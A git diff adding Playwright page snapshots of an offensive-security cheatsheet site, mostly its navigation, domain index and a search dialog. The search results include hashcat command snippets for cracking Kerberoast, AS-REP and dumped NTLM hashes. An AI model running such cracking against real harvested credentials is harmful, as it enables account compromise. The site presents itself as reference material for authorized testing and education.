+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f6e2623] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f6e2624]:
+            - generic [ref=f6e2625]: PWN
+            - generic [ref=f6e2626]: "03"
+          - heading "Exploitation" [level=3] [ref=f6e2627]
+          - paragraph [ref=f6e2628]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f6e2629]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f6e2632] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f6e2633]:
+            - generic [ref=f6e2634]: PRIV
+            - generic [ref=f6e2635]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f6e2636]
+          - paragraph [ref=f6e2637]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f6e2638]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f6e2641] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f6e2642]:
+            - generic [ref=f6e2643]: CRED
+            - generic [ref=f6e2644]: "05"
+          - heading "Password Attacks" [level=3] [ref=f6e2645]
+          - paragraph [ref=f6e2646]: Cracking, spraying, and credential recovery.
+          - generic [ref=f6e2647]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f6e2650] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f6e2651]:
+            - generic [ref=f6e2652]: WEB
+            - generic [ref=f6e2653]: "06"
+          - heading "Web" [level=3] [ref=f6e2654]
+          - paragraph [ref=f6e2655]: XSS, injection, and web application testing.
+          - generic [ref=f6e2656]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f6e2659] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f6e2660]:
+            - generic [ref=f6e2661]: PIVOT
+            - generic [ref=f6e2662]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f6e2663]
+          - paragraph [ref=f6e2664]: Moving through segmented networks and double pivots.
+          - generic [ref=f6e2665]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f6e2668] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f6e2669]:
+            - generic [ref=f6e2670]: CRYPTO
+            - generic [ref=f6e2671]: "08"
+          - heading "Cryptography" [level=3] [ref=f6e2672]
+          - paragraph [ref=f6e2673]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f6e2674]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f6e2677] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f6e2678]:
+            - generic [ref=f6e2679]: DFIR
+            - generic [ref=f6e2680]: "09"
+          - heading "DFIR" [level=3] [ref=f6e2681]
+          - paragraph [ref=f6e2682]: Forensics, memory, and registry analysis.
+          - generic [ref=f6e2683]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f6e2686] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f6e2687]:
+            - generic [ref=f6e2688]: TOOL
+            - generic [ref=f6e2689]: "10"
+          - heading "Tools" [level=3] [ref=f6e2690]
+          - paragraph [ref=f6e2691]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f6e2692]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f6e2695] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f6e2696]:
+            - generic [ref=f6e2697]: NIX
+            - generic [ref=f6e2698]: "11"
+          - heading "Linux & IT" [level=3] [ref=f6e2699]
+          - paragraph [ref=f6e2700]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f6e2701]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f6e2704] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f6e2705]:
+            - generic [ref=f6e2706]: GIT
+            - generic [ref=f6e2707]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f6e2708]
+          - paragraph [ref=f6e2709]: Version control and operator workflow.
+          - generic [ref=f6e2710]: 5 sheets
+    - link [ref=f6e2713] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f6e2714]:
+        - generic [ref=f6e2715]:
+          - paragraph [ref=f6e2716]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f6e2717]
+          - paragraph [ref=f6e2718]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f6e2719]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f6e2720]: Browse payloads
+    - generic [ref=f6e2724]:
+      - generic [ref=f6e2725]:
+        - generic [ref=f6e2726]:
+          - paragraph [ref=f6e2727]:
+            - generic [ref=f6e2728]: "03"
+            - generic [ref=f6e2729]: "^:"
+            - generic [ref=f6e2730]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f6e2731]
+        - link "All tags" [ref=f6e2732] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f6e2735]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f6e2736] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f6e2737]:
+            - generic [ref=f6e2738]: "01"
+            - generic [ref=f6e2739]: ENUM
+            - generic [ref=f6e2743]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f6e2744]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f6e2748] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f6e2749]:
+            - generic [ref=f6e2750]: "02"
+            - generic [ref=f6e2751]: ENUM
+            - generic [ref=f6e2755]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f6e2756]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f6e2760] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f6e2761]:
+            - generic [ref=f6e2762]: "03"
+            - generic [ref=f6e2763]: AD
+            - generic [ref=f6e2767]: Active-Directory_cheat_sheet
+            - generic [ref=f6e2768]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f6e2772] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f6e2773]:
+            - generic [ref=f6e2774]: "04"
+            - generic [ref=f6e2775]: ENUM
+            - generic [ref=f6e2779]: Anonymous Null Testing
+            - generic [ref=f6e2780]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f6e2784] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f6e2785]:
+            - generic [ref=f6e2786]: "05"
+            - generic [ref=f6e2787]: AD
+            - generic [ref=f6e2791]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f6e2792]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f6e2796] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f6e2797]:
+            - generic [ref=f6e2798]: "06"
+            - generic [ref=f6e2799]: AD
+            - generic [ref=f6e2803]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f6e2804]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f6e2808] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f6e2809]:
+            - generic [ref=f6e2810]: "07"
+            - generic [ref=f6e2811]: AD
+            - generic [ref=f6e2815]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f6e2816]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f6e2820] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f6e2821]:
+            - generic [ref=f6e2822]: "08"
+            - generic [ref=f6e2823]: AD
+            - generic [ref=f6e2827]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f6e2828]: 2026-08-10
+  - contentinfo [ref=f6e2832]:
+    - generic [ref=f6e2833]:
+      - generic [ref=f6e2834]:
+        - link "DÆMON // SEC" [ref=f6e2835] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e2836]: //
+          - text: SEC
+        - paragraph [ref=f6e2837]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e2838]:
+        - link "daemon-404.github.io β†—" [ref=f6e2839] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e2840] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e2841]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e2842] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e2843] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e2844]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e2845]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f6e2849]:
+    - generic [ref=f6e2850]:
+      - searchbox "Search query" [active] [ref=f6e2854]: hashcat
+      - button "Close search" [ref=f6e2855] [cursor=pointer]
+    - generic [ref=f6e2858]:
+      - 'link "Password Attacks Hashcat Hashcat. What this covers β€” The full hashcat workflow: attack modes (-a), the common -m mode numbers, masks, rules, tuning, and status/restore. For CPU-side cracking and file extraction, see John" [ref=f6e2860] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/password-attacks/hashcat/
+        - text: Password Attacks
+        - generic [ref=f6e2861]: Hashcat
+        - generic [ref=f6e2862]:
+          - mark [ref=f6e2863]: Hashcat.
+          - text: What this covers β€” The full
+          - mark [ref=f6e2864]: hashcat
+          - text: "workflow: attack modes (-a), the common -m mode numbers, masks, rules, tuning, and status/restore. For CPU-side cracking and file extraction, see John"
+      - 'link "Active Directory Kerberoasting β€” Local On-Host Crack Locally (Attacker Machine). Hashcat Quick Reference. # RC4 / Type 23 β€” most common, fastest hashcat -m 13100 hashes.txt rockyou.txt # AES-128 / Type 17 hashcat -m 19600 hashes.txt" [ref=f6e2865] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/kerberoasting-local-on-host/
+        - text: Active Directory
+        - generic [ref=f6e2866]: Kerberoasting β€” Local On-Host
+        - generic [ref=f6e2867]:
+          - text: Crack Locally (Attacker Machine).
+          - mark [ref=f6e2868]: Hashcat
+          - text: "Quick Reference. # RC4 / Type 23 β€” most common, fastest"
+          - mark [ref=f6e2869]: hashcat
+          - text: "-m 13100 hashes.txt rockyou.txt # AES-128 / Type 17"
+          - mark [ref=f6e2870]: hashcat
+          - text: "-m 19600 hashes.txt"
+      - 'link "Active Directory Kerberoasting ToolHash PrefixMode Hashcat. $krb5tgs$23$ (RC4). 13100. Hashcat. $krb5tgs$17$ (AES-128). 19600. Hashcat. $krb5tgs$18$ (AES-256). 19700. John the Ripper. $krb5tgs$. krb5tgs. Hashcat. # RC4 (type 23) β€” fastest to crack hashcat -m" [ref=f6e2871] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/kerberoasting/
+        - text: Active Directory
+        - generic [ref=f6e2872]: Kerberoasting
+        - generic [ref=f6e2873]:
+          - text: ToolHash PrefixMode
+          - mark [ref=f6e2874]: Hashcat.
+          - text: $krb5tgs$23$ (RC4). 13100.
+          - mark [ref=f6e2875]: Hashcat.
+          - text: $krb5tgs$17$ (AES-128). 19600.
+          - mark [ref=f6e2876]: Hashcat.
+          - text: $krb5tgs$18$ (AES-256). 19700. John the Ripper. $krb5tgs$. krb5tgs.
+          - mark [ref=f6e2877]: Hashcat.
+          - text: "# RC4 (type 23) β€” fastest to crack"
+          - mark [ref=f6e2878]: hashcat
+          - text: "-m"
+      - 'link "Cryptography Hashing & Hash Identification 11. Cracking β€” hashcat & john. hashcat β€” GPU-accelerated. # Identify hash type: https://hashcat.net/wiki/doku.php?id=hashcat hashcat --identify hash.txt # Dictionary attack hashcat -m 0 hash.txt wordlist.txt # MD5 hashcat -m 100" [ref=f6e2879] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/cryptography/hashing/
+        - text: Cryptography
+        - generic [ref=f6e2880]: Hashing & Hash Identification
+        - generic [ref=f6e2881]:
+          - text: 11. Cracking β€”
+          - mark [ref=f6e2882]: hashcat
+          - text: "& john."
+          - mark [ref=f6e2883]: hashcat
+          - text: "β€” GPU-accelerated. # Identify hash type:"
+          - mark [ref=f6e2884]: https://hashcat.net/wiki/doku.php?id=hashcat
+          - mark [ref=f6e2885]: hashcat
+          - text: "--identify hash.txt # Dictionary attack"
+          - mark [ref=f6e2886]: hashcat
+          - text: "-m 0 hash.txt wordlist.txt # MD5"
+          - mark [ref=f6e2887]: hashcat
+          - text: "-m 100"
+      - 'link "Active Directory Attack #2 β€” Kerberoasting Offline Cracking β€” Hashcat. # RC4 hash cracking (mode 13100) β€” most common scenario hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # With best rules (dramatically increases hit rate) hashcat -m 13100" [ref=f6e2888] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-2-kerberoasting/
+        - text: Active Directory
+        - generic [ref=f6e2889]: "Attack #2 β€” Kerberoasting"
+        - generic [ref=f6e2890]:
+          - text: Offline Cracking β€”
+          - mark [ref=f6e2891]: Hashcat.
+          - text: "# RC4 hash cracking (mode 13100) β€” most common scenario"
+          - mark [ref=f6e2892]: hashcat
+          - text: "-m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt # With best rules (dramatically increases hit rate)"
+          - mark [ref=f6e2893]: hashcat
+          - text: "-m 13100"
+      - 'link "Password Attacks Password Attacks & Brute Forcing Shadow Copy for extraction. Hashcat β€” GPU-Accelerated Cracking. # NTLM (mode 1000) with wordlist hashcat -m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt # Show the cracked plaintext for a hash hashcat -m 1000" [ref=f6e2894] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/password-attacks/password-attacks/
+        - text: Password Attacks
+        - generic [ref=f6e2895]: Password Attacks & Brute Forcing
+        - generic [ref=f6e2896]:
+          - text: Shadow Copy for extraction.
+          - mark [ref=f6e2897]: Hashcat
+          - text: "β€” GPU-Accelerated Cracking. # NTLM (mode 1000) with wordlist"
+          - mark [ref=f6e2898]: hashcat
+          - text: "-m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt # Show the cracked plaintext for a hash"
+          - mark [ref=f6e2899]: hashcat
+          - text: "-m 1000"
+      - 'link "Active Directory Attack #3 β€” AS-REP Roasting Offline Cracking β€” Hashcat. # AS-REP hash cracking β€” mode 18200 (RC4-HMAC / krb5asrep) hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt # With best64 rules (strong coverage for corporate passwords) hashcat -m" [ref=f6e2900] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-3-as-rep-roasting/
+        - text: Active Directory
+        - generic [ref=f6e2901]: "Attack #3 β€” AS-REP Roasting"
+        - generic [ref=f6e2902]:
+          - text: Offline Cracking β€”
+          - mark [ref=f6e2903]: Hashcat.
+          - text: "# AS-REP hash cracking β€” mode 18200 (RC4-HMAC / krb5asrep)"
+          - mark [ref=f6e2904]: hashcat
+          - text: "-m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt # With best64 rules (strong coverage for corporate passwords)"
+          - mark [ref=f6e2905]: hashcat
+          - text: "-m"
+      - 'link "Payloads Hash Cracking Hash Cracking. :warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/hash-cracking. Hashcat Hashcat Example Hashes. Hashcat Install. Mask attack. Dictionary. John Usage. Rainbow tables. Tips and Tricks. Online Cracking" [ref=f6e2906] [cursor=pointer]':
+        - /url: /daemon-sec-cheatsheet/payloads/methodology-and-resources/hash-cracking/
+        - text: Payloads
+        - generic [ref=f6e2907]: Hash Cracking
+        - generic [ref=f6e2908]:
+          - text: "Hash Cracking. :warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/hash-cracking."
+          - mark [ref=f6e2909]: Hashcat
+          - mark [ref=f6e2910]: Hashcat
+          - text: Example Hashes.
+          - mark [ref=f6e2911]: Hashcat
+          - text: Install. Mask attack. Dictionary. John Usage. Rainbow tables. Tips and Tricks. Online Cracking
+  - generic [ref=f6e2846]: DÆMON//SEC — Cyber & IT Cheatsheet Vault
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-14-02-204Z.yml b/.playwright-mcp/page-2026-08-10T08-14-02-204Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f8e1]:
+  - banner [ref=f8e2]:
+    - generic [ref=f8e3]:
+      - link "DÆMON//SEC home" [ref=f8e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f8e5]: //
+        - text: SEC
+        - generic [ref=f8e6]: _
+      - navigation "Primary" [ref=f8e7]:
+        - link "01 Vault" [ref=f8e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f8e9]: "01"
+          - generic [ref=f8e10]: Vault
+        - link "02 Payloads" [ref=f8e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f8e12]: "02"
+          - generic [ref=f8e13]: Payloads
+        - link "03 Tags" [ref=f8e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f8e15]: "03"
+          - generic [ref=f8e16]: Tags
+        - link "04 Credits" [ref=f8e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f8e18]: "04"
+          - generic [ref=f8e19]: Credits
+      - generic [ref=f8e20]:
+        - button "Search cheatsheets" [ref=f8e21] [cursor=pointer]:
+          - generic [ref=f8e24]: Search
+          - generic [ref=f8e25]: /
+        - button "Toggle theme" [ref=f8e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f8e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f8e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f8e37]:
+    - generic [ref=f8e39]:
+      - generic [ref=f8e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f8e42]:
+          - generic [ref=f8e43]: D
+          - generic [ref=f8e44]: Γ†
+          - generic [ref=f8e45]: M
+          - generic [ref=f8e46]: O
+          - generic [ref=f8e47]: "N"
+        - paragraph [ref=f8e49]:
+          - generic [ref=f8e50]: The cheatsheet vault
+      - generic [ref=f8e52]:
+        - generic [ref=f8e53]:
+          - generic [ref=f8e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f8e55]
+          - paragraph [ref=f8e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f8e57]:
+            - button "Search the vault" [ref=f8e58] [cursor=pointer]
+            - link "Payloads" [ref=f8e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f8e66]:
+          - generic [ref=f8e67]:
+            - generic [ref=f8e68]:
+              - generic [ref=f8e69]: daemon@sec
+              - generic [ref=f8e70]: ~
+              - generic [ref=f8e71]: "%"
+              - generic [ref=f8e72]: whoami --vault
+            - generic [ref=f8e74]:
+              - term [ref=f8e75]: scope
+              - definition [ref=f8e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f8e77]: format
+              - definition [ref=f8e78]: Copy-ready commands, current tool flags
+              - term [ref=f8e79]: search
+              - definition [ref=f8e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f8e81]: license
+              - definition [ref=f8e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f8e83]:
+            - generic [ref=f8e84]:
+              - term [ref=f8e85]: Curated cheatsheets
+              - definition [ref=f8e86]:
+                - text: "07"
+                - generic [ref=f8e87]: Curatedcheatsheets
+            - generic [ref=f8e88]:
+              - term [ref=f8e89]: Operator domains
+              - definition [ref=f8e90]:
+                - text: "00"
+                - generic [ref=f8e91]: Operatordomains
+            - generic [ref=f8e92]:
+              - term [ref=f8e93]: Mirrored payload pages
+              - definition [ref=f8e94]:
+                - text: "05"
+                - generic [ref=f8e95]: Mirroredpayload pages
+    - region "Domains" [ref=f8e96]:
+      - generic [ref=f8e97]: "^: Index"
+      - generic [ref=f8e101]:
+        - generic [ref=f8e102]:
+          - generic [ref=f8e103]:
+            - generic [ref=f8e104]: "01"
+            - generic [ref=f8e105]: AD
+            - generic [ref=f8e109]: Active Directory
+            - generic [ref=f8e110]: 130 sheets
+          - generic [ref=f8e111]:
+            - generic [ref=f8e112]: "02"
+            - generic [ref=f8e113]: ENUM
+            - generic [ref=f8e117]: Enumeration
+            - generic [ref=f8e118]: 18 sheets
+          - generic [ref=f8e119]:
+            - generic [ref=f8e120]: "03"
+            - generic [ref=f8e121]: PWN
+            - generic [ref=f8e125]: Exploitation
+            - generic [ref=f8e126]: 7 sheets
+          - generic [ref=f8e127]:
+            - generic [ref=f8e128]: "04"
+            - generic [ref=f8e129]: PRIV
+            - generic [ref=f8e133]: Privilege Escalation
+            - generic [ref=f8e134]: 2 sheets
+          - generic [ref=f8e135]:
+            - generic [ref=f8e136]: "05"
+            - generic [ref=f8e137]: CRED
+            - generic [ref=f8e141]: Password Attacks
+            - generic [ref=f8e142]: 3 sheets
+          - generic [ref=f8e143]:
+            - generic [ref=f8e144]: "06"
+            - generic [ref=f8e145]: WEB
+            - generic [ref=f8e149]: Web
+            - generic [ref=f8e150]: 9 sheets
+          - generic [ref=f8e151]:
+            - generic [ref=f8e152]: "07"
+            - generic [ref=f8e153]: PIVOT
+            - generic [ref=f8e157]: Tunneling & Pivoting
+            - generic [ref=f8e158]: 6 sheets
+          - generic [ref=f8e159]:
+            - generic [ref=f8e160]: "08"
+            - generic [ref=f8e161]: CRYPTO
+            - generic [ref=f8e165]: Cryptography
+            - generic [ref=f8e166]: 3 sheets
+          - generic [ref=f8e167]:
+            - generic [ref=f8e168]: "09"
+            - generic [ref=f8e169]: DFIR
+            - generic [ref=f8e173]: DFIR
+            - generic [ref=f8e174]: 4 sheets
+          - generic [ref=f8e175]:
+            - generic [ref=f8e176]: "10"
+            - generic [ref=f8e177]: TOOL
+            - generic [ref=f8e181]: Tools
+            - generic [ref=f8e182]: 18 sheets
+          - generic [ref=f8e183]:
+            - generic [ref=f8e184]: "11"
+            - generic [ref=f8e185]: NIX
+            - generic [ref=f8e189]: Linux & IT
+            - generic [ref=f8e190]: 9 sheets
+          - generic [ref=f8e191]:
+            - generic [ref=f8e192]: "12"
+            - generic [ref=f8e193]: GIT
+            - generic [ref=f8e197]: Git & Workflow
+            - generic [ref=f8e198]: 5 sheets
+        - generic [ref=f8e199]:
+          - generic [ref=f8e200]:
+            - generic [ref=f8e201]: "01"
+            - generic [ref=f8e202]: AD
+            - generic [ref=f8e206]: Active Directory
+            - generic [ref=f8e207]: 130 sheets
+          - generic [ref=f8e208]:
+            - generic [ref=f8e209]: "02"
+            - generic [ref=f8e210]: ENUM
+            - generic [ref=f8e214]: Enumeration
+            - generic [ref=f8e215]: 18 sheets
+          - generic [ref=f8e216]:
+            - generic [ref=f8e217]: "03"
+            - generic [ref=f8e218]: PWN
+            - generic [ref=f8e222]: Exploitation
+            - generic [ref=f8e223]: 7 sheets
+          - generic [ref=f8e224]:
+            - generic [ref=f8e225]: "04"
+            - generic [ref=f8e226]: PRIV
+            - generic [ref=f8e230]: Privilege Escalation
+            - generic [ref=f8e231]: 2 sheets
+          - generic [ref=f8e232]:
+            - generic [ref=f8e233]: "05"
+            - generic [ref=f8e234]: CRED
+            - generic [ref=f8e238]: Password Attacks
+            - generic [ref=f8e239]: 3 sheets
+          - generic [ref=f8e240]:
+            - generic [ref=f8e241]: "06"
+            - generic [ref=f8e242]: WEB
+            - generic [ref=f8e246]: Web
+            - generic [ref=f8e247]: 9 sheets
+          - generic [ref=f8e248]:
+            - generic [ref=f8e249]: "07"
+            - generic [ref=f8e250]: PIVOT
+            - generic [ref=f8e254]: Tunneling & Pivoting
+            - generic [ref=f8e255]: 6 sheets
+          - generic [ref=f8e256]:
+            - generic [ref=f8e257]: "08"
+            - generic [ref=f8e258]: CRYPTO
+            - generic [ref=f8e262]: Cryptography
+            - generic [ref=f8e263]: 3 sheets
+          - generic [ref=f8e264]:
+            - generic [ref=f8e265]: "09"
+            - generic [ref=f8e266]: DFIR
+            - generic [ref=f8e270]: DFIR
+            - generic [ref=f8e271]: 4 sheets
+          - generic [ref=f8e272]:
+            - generic [ref=f8e273]: "10"
+            - generic [ref=f8e274]: TOOL
+            - generic [ref=f8e278]: Tools
+            - generic [ref=f8e279]: 18 sheets
+          - generic [ref=f8e280]:
+            - generic [ref=f8e281]: "11"
+            - generic [ref=f8e282]: NIX
+            - generic [ref=f8e286]: Linux & IT
+            - generic [ref=f8e287]: 9 sheets
+          - generic [ref=f8e288]:
+            - generic [ref=f8e289]: "12"
+            - generic [ref=f8e290]: GIT
+            - generic [ref=f8e294]: Git & Workflow
+            - generic [ref=f8e295]: 5 sheets
+      - generic [ref=f8e296]: 12 domains
+    - generic [ref=f8e298]:
+      - generic [ref=f8e300]:
+        - paragraph [ref=f8e301]:
+          - generic [ref=f8e302]: "01"
+          - generic [ref=f8e303]: "^:"
+          - generic [ref=f8e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f8e306]
+      - generic [ref=f8e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f8e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f8e309]:
+            - generic [ref=f8e310]: AD
+            - generic [ref=f8e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f8e312]
+          - paragraph [ref=f8e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f8e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f8e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f8e318]:
+            - generic [ref=f8e319]: ENUM
+            - generic [ref=f8e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f8e321]
+          - paragraph [ref=f8e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f8e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f8e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f8e327]:
+            - generic [ref=f8e328]: PWN
+            - generic [ref=f8e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f8e330]
+          - paragraph [ref=f8e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f8e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f8e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f8e336]:
+            - generic [ref=f8e337]: PRIV
+            - generic [ref=f8e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f8e339]
+          - paragraph [ref=f8e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f8e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f8e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f8e345]:
+            - generic [ref=f8e346]: CRED
+            - generic [ref=f8e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f8e348]
+          - paragraph [ref=f8e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f8e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f8e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f8e354]:
+            - generic [ref=f8e355]: WEB
+            - generic [ref=f8e356]: "06"
